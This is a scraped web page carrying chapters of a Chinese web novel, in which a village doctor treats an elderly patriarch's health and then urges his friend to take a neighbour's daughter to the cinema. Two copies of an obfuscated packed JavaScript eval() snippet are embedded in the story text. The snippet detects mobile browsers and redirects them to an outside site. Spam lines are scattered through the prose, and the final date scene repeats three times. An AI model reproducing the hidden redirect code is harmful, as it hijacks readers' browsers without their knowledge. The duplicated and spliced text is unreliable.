;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778543|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?研究一下延寿的事情。” “延寿?”江沐停下了手里的活,眉头微不可察地一皱。 这两个字,何其沉重。 他看着眼前这两个眼中布满血丝的男人,心中了然。 对于他们而言,老爷子的健康,早已不仅仅是一个人的事,而是整个家族的定海神针。 他沉默了片刻,语气平静地给出了答复,“延寿之说,太过虚无缥缈。至于身体的恢复情况,我需要亲眼看看老爷子的情况,才能做出判断。” “好好好!那你看明天方便吗?”江援朝立刻追问。 “可以。” 第二天一早,天刚蒙蒙亮,一辆军绿色的吉普车就停在了江沐的院外。 江援朝亲自开车,接上江沐,一路疾驰,最终停在了一处戒备森严的大院前。 院子里,青松翠柏,幽静肃穆。 江老爷子正穿着一身宽松的练功服,在院子里打着太极,一招一式,颇有章法,看起来精神矍铄。 看到江沐进来,老爷子收了招式,脸上却露出了不自然,他瞪了一眼身旁的江援朝和江志勇,“胡闹!我这身子骨好着呢!硬朗得很!就是他们瞎折腾!” 江沐看着眼前这位故作硬气的老人,心里反倒生不起气来。 他淡然一笑,主动上前一步,“老爷子,您别怪他们。这也是他们关心您,一片孝心。” 一句话,就将场上尴尬的气氛缓和了下来。 江老爷子叹了口气,摆摆手,“进来坐吧。” 进了屋,警卫员沏上热茶。 江沐也没多废话,聊了几句家常后,便直接切入了主题,“老爷子,我给您把把脉吧。” “把什么脉!我好着呢!”老爷子嘴上虽然这么说,但还是顺从地伸出了手腕。 江沐将三根手指轻轻搭在了老爷子的寸口脉上,双目微阖,神情专注。 一瞬间,整个房间落针可闻。 江志勇和江援朝兄弟俩,屏住呼吸,连大气都不敢喘一口,两双眼睛死死地盯着江沐的脸,不错过他任何细微的表情变化。 第207章 你不主动,你们怎么有故事? 良久,江沐终于松开了手。 江志勇和江援朝兄弟二人,几乎是同时向前探了半个身子,喉结滚动,却一个字也问不出口。 他们那两双布满血丝的眼睛,死死地锁定在江沐那张古井无波的脸上。 “恢复得很好,比我预想的还要好。江沐的声音不大,却如同一颗定心丸,瞬间砸进了兄弟俩那颗悬在半空的心里,让它稳稳地落了地。 呼—— 江援朝长长地吐出一口浊气,一下子瘫软在椅子上。 而江志勇,这位在外面向来以沉稳著称的汉子,此刻眼眶竟微微泛红。 “笔墨。江沐没有理会他们的激动,语气平淡。 警卫员立刻小跑着取来了纸和笔。 江沐提笔,手腕悬空,笔尖在纸上行云流水般游走。 一个个古奥的药名跃然纸上——百年野山参、天山雪莲、深海沉香……每一个名字,都足以让任何一个杏林中人倒吸一口凉气。 写完最后一味药,他将方子轻轻推到桌子中央。 “按这个方子抓药,一日一剂,文火慢煎。他的目光扫过兄弟二人,语气中带着自信,“不敢说长命百岁,但保老爷子再多活两年,问题不大。 两年! 这两个字,如同一道惊雷,在江志勇的脑海中轰然炸响! 对于普通人而言,两年不过是弹指一挥间。 但对于他们这样的家族,对于定海神针般的老爷子而言,两年,足以改变太多太多的事情! 江志勇的呼吸瞬间变得急促,他猛地抓起那张薄薄的药方。 他甚至没有片刻的迟疑,一个箭步就冲到了电话机旁,以一种近乎颤抖的手,迅速摇起了号码。 “是我,江志勇!电话一接通,他的声音就变得短促而有力,充满了军人的铁血味道,“我念,你记!尽快在京城找齐这些药材!不管用什么代价,天黑之前,必须送到陕州来! 电话那头,江卫国的声音同样干脆利落:“行,已经找到了!马上安排专机送过来! 这便是顶级权势家族的能量,寻常人踏破铁鞋也难觅一踪的珍稀药材,在他们这里,不过是一通电话的事。 江沐对此似乎早有预料,神色没有丝毫变化。他站起身,“方子里还有几味药引,需要我亲手炮制。我先回去了。 “急什么!江老爷子终于开了口,他那双浑浊却依旧锐利的眼睛里,带着不容拒绝的威严,“吃口饭再走! 一顿饭,吃 你的朋友正在书荒,快去帮帮他吧 得沉默而又暗流涌动。 饭后,江援朝开着那辆军绿色的吉普车,亲自送江沐回去。 车子在乡间的土路上颠簸,车厢内的气氛却格外凝重。 快到村口时,江援朝忽然从怀里掏出一个厚厚的信封,塞到了江沐的手里。 “江沐兄弟,这是我们的一点心意,你千万别推辞。 江沐捏了捏,那厚度让他心里有了数。 “援朝大哥,这太多了。他象征性地推了推。 “不多!一点也不多!江援朝的态度异常坚决,他一把按住江沐的手,“跟我爷爷的命比起来,这点东西算个屁!你要是不收,就是看不起我们兄弟! 话说到这个份上,江沐也就不再矫情,坦然地将信封收了起来。 两天后,吉普车再次如约而至。 院子里,一个个精致的木盒被小心翼翼地打开,一股混杂着泥土芬芳和岁月沉淀的浓郁药香,瞬间弥漫了整个房间。 江沐没有多余的废话,他当着江家兄弟的面,耐心地讲解着每一味药材的处理方法,如何控制火候,如何掌握煎药的时间,每一个细节都交代得清清楚楚。 “……记住了,必须用砂锅,不能用铁器。 讲解完毕,他又从随身的布包里,取出一个小小的瓷瓶,倒出几粒散发着清香的黑色药丸。 “这是我配的药丸,固本培元用的。他将瓷瓶递给江老爷子,“您老记住,先吃药丸,一日一粒。然后再喝汤药。等这瓶药丸吃完了,汤药也就停了吧。 “好,好,我记住了。老爷子郑重地点点头,将那小瓷瓶视若珍宝地收好。 “江沐兄弟,这次的大恩,我们江家记下了!江志勇上前一步,神情肃穆,他看着江沐,一字一顿地承诺,“以后,但凡有你用得着我江志勇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784733|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地方,你尽管开口!刀山火海,我替你趟! 这是一个何其沉重的承诺! 江老爷子却摆了摆手,他缓缓摘下自己手腕上的那块英纳格手表,表盘在灯光下闪烁着温润的光泽。 在当时,这绝对是身份和地位的象征。 他拉过江沐的手,亲自将手表戴在了他的手腕上。 “小江啊,志勇他解决不了的事,你来找我。老爷子的声音虽然苍老,却掷地有声,“只要我这把老骨头还在,就没人能动你一根汗**。 送走江沐后,夕阳的余晖透过窗棂,洒在江老爷子苍老的脸上。 他摩挲着手中的茶杯,良久,发出一声悠长的感慨。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “此子如龙,困于浅滩。一身惊天动地的本事,窝在这山沟沟里,真是屈才了……” 江志勇目光一凛,沉声道:“爸,您放心,我会想办法的。” 江援朝将江沐送回家后,没有丝毫停留,当天下午,便乘上了返回京城的飞机。 …… 几天后,春日的暖阳懒洋洋地照着。 梁宇开着车,车后座上放着给陈老他们送来的生活物资,进了院子。 江沐正坐在院里的躺椅上,悠闲地翻着一本医书。 他看着梁宇一边卸东西,一边眼神不自觉地往隔壁李队长家的方向瞟,嘴角不由得勾起笑容。 “行了,别看了,眼珠子都快掉出来了。” 梁宇被说得一愣,随即一张脸涨得通红,结结巴巴地反问:“看……看什么了?**你别瞎说!” “还装?”江沐放下书,好笑地看着他,“你那点心思,就差写在脸上了。看上我姑父的闺女,李喜凤了吧?” 梁宇只觉得一股热血直冲脑门,整个人都懵了,手足无措地站在原地,“我……我……你怎么看出来的?” “就你那德行,太明显了!”江沐从躺椅上坐起身,拍了拍他的肩膀,一副恨铁不成钢的语气,“喜欢就去追啊!光看有什么用?你得主动点,约人家出去走走,去县里看场电影!你不主动,你们怎么有故事?” 第208章 拿出你的实际行动来 “这……这不太好吧?”梁宇的脸涨红,手脚都不知道往哪儿放了,“人家是黄花大闺女,我这么贸然去约,传出去对她名声不好。” 江沐斜睨他一眼。 “有什么不好的?现在是新社会,讲究自由恋爱!”他一巴掌拍在梁宇厚实的肩膀上,“我问你,想不想?” “想!”梁宇几乎是脱口而出,声音洪亮,喊完之后又觉得丢人,脑袋埋得更低了。 “想就对了!”江沐笑了起来,“追女孩子,脸皮就得厚!你主动约人家去看电影,再请她下个馆子,在县城里溜达一圈,这事儿不就成了个七七八八?” 梁宇的心被说得活泛起来,可那点可怜的勇气刚冒头,又被他自己给掐灭了。 “万一……万一喜凤她不愿意呢?”他声音小得很,“那多丢人啊!” “丢人?”江沐嗤笑一声,那眼神里满是恨铁不成钢,“你不去试,连个丢人的机会都没有!再说了,”他话锋一转,胸有成竹,“有我跟你小月姐在旁边给你敲边鼓,她还能不给你这个面子?放心大胆地去!” 说着,他压低了声音,神情却倏地严肃起来。 “不过我可把丑话说在前头,梁宇,喜凤是个好姑娘,你要是敢对她不好,让她受了委屈,我第一个不饶你!” 梁宇心头一凛。 他立刻挺直了腰杆。 “**你放心!我梁宇要是对李喜凤不好,就让我天打雷劈!” “行了,别整这些虚的。”江沐摆摆手,推着他往屋里走,“拿出你的实际行动来。” 两个人一前一后进了屋。 屋里,张小月正帮着江沐收拾东西,看见梁宇那副魂不守舍的样子,不由得打趣,“小宇这是怎么了?被勾了魂了?” 梁宇的脸一下又红了,支支吾吾半天,在江沐鼓励的眼神下,终于鼓足了全身的力气,朝着正在院里择菜的李喜凤喊了一嗓子。 “喜……喜凤!那个……明天……明天县里放新电影,你想不想去看?” 声音因为紧张而有些发颤,却清晰地传到了李喜凤的耳朵里。 李喜凤择菜的手一顿,猛地抬起头,脸颊上瞬间飞起两朵红云。 她没想到梁宇会这么直接,一时间心慌意乱,捏着手里的青菜,低着头不敢看他。 张小月是何等玲珑剔透的人,一看这架势,立刻心领神会。 她几步走到李喜凤身边。 “喜凤啊,小宇这小子难得大方一回,请咱们看电影呢!你可 得给个面子,不然他这脸可就没地方搁了!” 她故意把咱们两个字咬得很重,既是给梁宇打了掩护,也给了李喜凤一个台阶下。 果然,李喜凤听见张小月也去,心里的那点矜持和紧张顿时消散了大半。 她犹豫了片刻,终于还是应了一声,“……好。” “得嘞!”梁宇兴奋地一拍大腿,整个人都快蹦起来了。 李喜凤应了一声,红着脸丢下一句我回去换件衣裳,便跑回了自己家。 她前脚刚走,后脚她妈张兰就端着一簸箕玉米面,从隔壁院里走了过来。 张兰那双精明的眼睛在梁宇身上滴溜溜地转了一圈,看得梁宇心里直发毛,刚刚那股兴奋劲儿瞬间被浇灭了,整个人都僵在了原地,手心直冒冷汗。 “梁宇小子,”张兰一边筛着玉米面,一边状似不经意地开口,“听说你要带我们家喜凤去县城?” “啊……是……是的,婶子。”梁宇紧张得连话都说不利索了。 “去县城路远,路上不安全。”张兰的目光落在他身上,带着几分审视,“你可得把人给我平平安安地带回来,要是少了一根头发,你看我扒不扒了你的皮!” “婶子您放心!我保证!保证!”梁宇拍着胸脯保证道。 看着梁宇和换了一身新衣服、梳着两条大辫子的李喜凤推着自行车离开,张兰脸上的严肃才渐渐褪去。 她走进江沐的院子,逗弄了一会儿张小月怀里的孩子,这才叹了口气。 “江沐,小月,喜凤那丫头的心思,我们当爹妈的都看在眼里。梁宇这孩子瞧着也是个实在人,这事儿……就麻烦你们俩多费点心,帮忙多瞅着点。” 张小月立刻把胸脯一挺,“姑姑您就放一百二十个心吧!有我跟江沐在呢,绝对不能让喜凤受了委屈!” …… 另一头,梁宇开着吉普车,车子在土路上颠簸,车厢内的气氛比车外的空气还要凝固。 梁宇双手紧紧握着方向盘,目不斜视,憋了半天,才从牙缝里挤出一句生硬的自我介绍。 “我……我叫梁宇,部队里出来的。” “嗯,我知道。”李喜凤的声音细细的,像是怕惊扰了什么。 “咱们……咱们先去看电影,票我已经买好了。” “好。” 然后,又是长久的沉默。 车厢里只剩下发动机的轰鸣声,尴尬得让人窒息。 最终,还是李喜凤先开了口,她小心翼翼地问,“梁宇哥 ,你家里……还有兄弟姐妹吗?” 这个问题像是打开了梁宇的话匣子,也触动了他心里最柔软的地方。 他的眼神黯淡了一瞬。 “本来有个大哥的,前些年在战场上……牺牲了。现在家里,就剩我一个了。” 李喜凤没想到会问到这个,心里顿时充满了歉疚,连忙道歉,“对不起,梁宇哥,我不是故意的……” “没事。”梁宇摇了摇头,反而咧嘴一笑,像是想驱散这沉重的气氛,“我……我跟我爸妈提过你,他们都挺高兴的,还说……还说想见见你。” 话一出口,梁宇就后悔了! 他真想抽自己一个大嘴巴子! 这才第一次约人家出来,就提见家长,这不是把人往外推吗? 果然,李喜凤的脸更红了,低着头小声嘟囔,“这……这也太早了点吧……” 梁宇也意识到自己太心急了,连忙打着哈哈,“是是是,是我太快了,你别往心里去!” 或许是这个小插曲打破了僵局,接下来的路程,两个人的话匣子总算打开了,天南地北地聊着,气氛也渐渐融洽起来。 到了县电影院,梁宇显得轻车熟路。 **从哪儿变出两张电影票,又跑去小卖部买了两瓶橘子汽水和一大包瓜子,献宝似的递给李喜凤。 “以后你想看了,我就带你来!” 电影散场,也到了饭店。 梁宇又带着李喜凤去了县里唯一的国营饭店。 他大手一挥,点了红烧肉、大盘鸡、溜肉段……满满当当一大桌子菜,吃得李喜凤直摆手。 最后,桌上还剩了不少菜。 在这个年代,这绝对是奢侈的浪费,梁宇将剩菜打包。 回程的路上,梁宇心里美滋滋的。 他回想着江沐跟他说的三步走战略——看电影、下馆子…… 嗯,电影看了,饭也吃了。 梁宇脑中灵光一闪,接下来,就差最后一步,买东西了! ,你家里……还有兄弟姐妹吗?” 这个问题像是打开了梁宇的话匣子,也触动了他心里最柔软的地方。 他的眼神黯淡了一瞬。 “本来有个大哥的,前些年在战场上……牺牲了。现在家里,就剩我一个了。” 李喜凤没想到会问到这个,心里顿时充满了歉疚,连忙道歉,“对不起,梁宇哥,我不是故意的……” “没事。”梁宇摇了摇头,反而咧嘴一笑,像是想驱散这沉重的气氛,“我……我跟我爸妈提过你,他们都挺高兴的,还说……还说想见见你。” 话一出口,梁宇就后悔了! 他真想抽自己一个大嘴巴子! 这才第一次约人家出来,就提见家长,这不是把人往外推吗? 果然,李喜凤的脸更红了,低着头小声嘟囔,“这……这也太早了点吧……” 梁宇也意识到自己太心急了,连忙打着哈哈,“是是是,是我太快了,你别往心里去!” 或许是这个小插曲打破了僵局,接下来的路程,两个人的话匣子总算打开了,天南地北地聊着,气氛也渐渐融洽起来。 到了县电影院,梁宇显得轻车熟路。 **从哪儿变出两张电影票,又跑去小卖部买了两瓶橘子汽水和一大包瓜子,献宝似的递给李喜凤。 “以后你想看了,我就带你来!” 电影散场,也到了饭店。 梁宇又带着李喜凤去了县里唯一的国营饭店。 他大手一挥,点了红烧肉、大盘鸡、溜肉段……满满当当一大桌子菜,吃得李喜凤直摆手。 最后,桌上还剩了不少菜。 在这个年代,这绝对是奢侈的浪费,梁宇将剩菜打包。 回程的路上,梁宇心里美滋滋的。 他回想着江沐跟他说的三步走战略——看电影、下馆子…… 嗯,电影看了,饭也吃了。 梁宇脑中灵光一闪,接下来,就差最后一步,买东西了! ,你家里……还有兄弟姐妹吗?” 这个问题像是打开了梁宇的话匣子,也触动了他心里最柔软的地方。 他的眼神黯淡了一瞬。 “本来有个大哥的,前些年在战场上……牺牲了。现在家里,就剩我一个了。” 李喜凤没想到会问到这个,心里顿时充满了歉疚,连忙道歉,“对不起,梁宇哥,我不是故意的……” “没事。”梁宇摇了摇头,反而咧嘴一笑,像是想驱散这沉重的气氛,“我……我跟我爸妈提过你,他们都挺高兴的,还说……还说想见见你。” 话一出口,梁宇就后悔了! 他真想抽自己一个大嘴巴子! 这才第一次约人家出来,就提见家长,这不是把人往外推吗? 果然,李喜凤的脸更红了,低着头小声嘟囔,“这……这也太早了点吧……” 梁宇也意识到自己太心急了,连忙打着哈哈,“是是是,是我太快了,你别往心里去!” 或许是这个小插曲打破了僵局,接下来的路程,两个人的话匣子总算打开了,天南地北地聊着,气氛也渐渐融洽起来。 到了县电影院,梁宇显得轻车熟路。 **从哪儿变出两张电影票,又跑去小卖部买了两瓶橘子汽水和一大包瓜子,献宝似的递给李喜凤。 “以后你想看了,我就带你来!” 电影散场,也到了饭店。 梁宇又带着李喜凤去了县里唯一的国营饭店。 他大手一挥,点了红烧肉、大盘鸡、溜肉段……满满当当一大桌子菜,吃得李喜凤直摆手。 最后,桌上还剩了不少菜。 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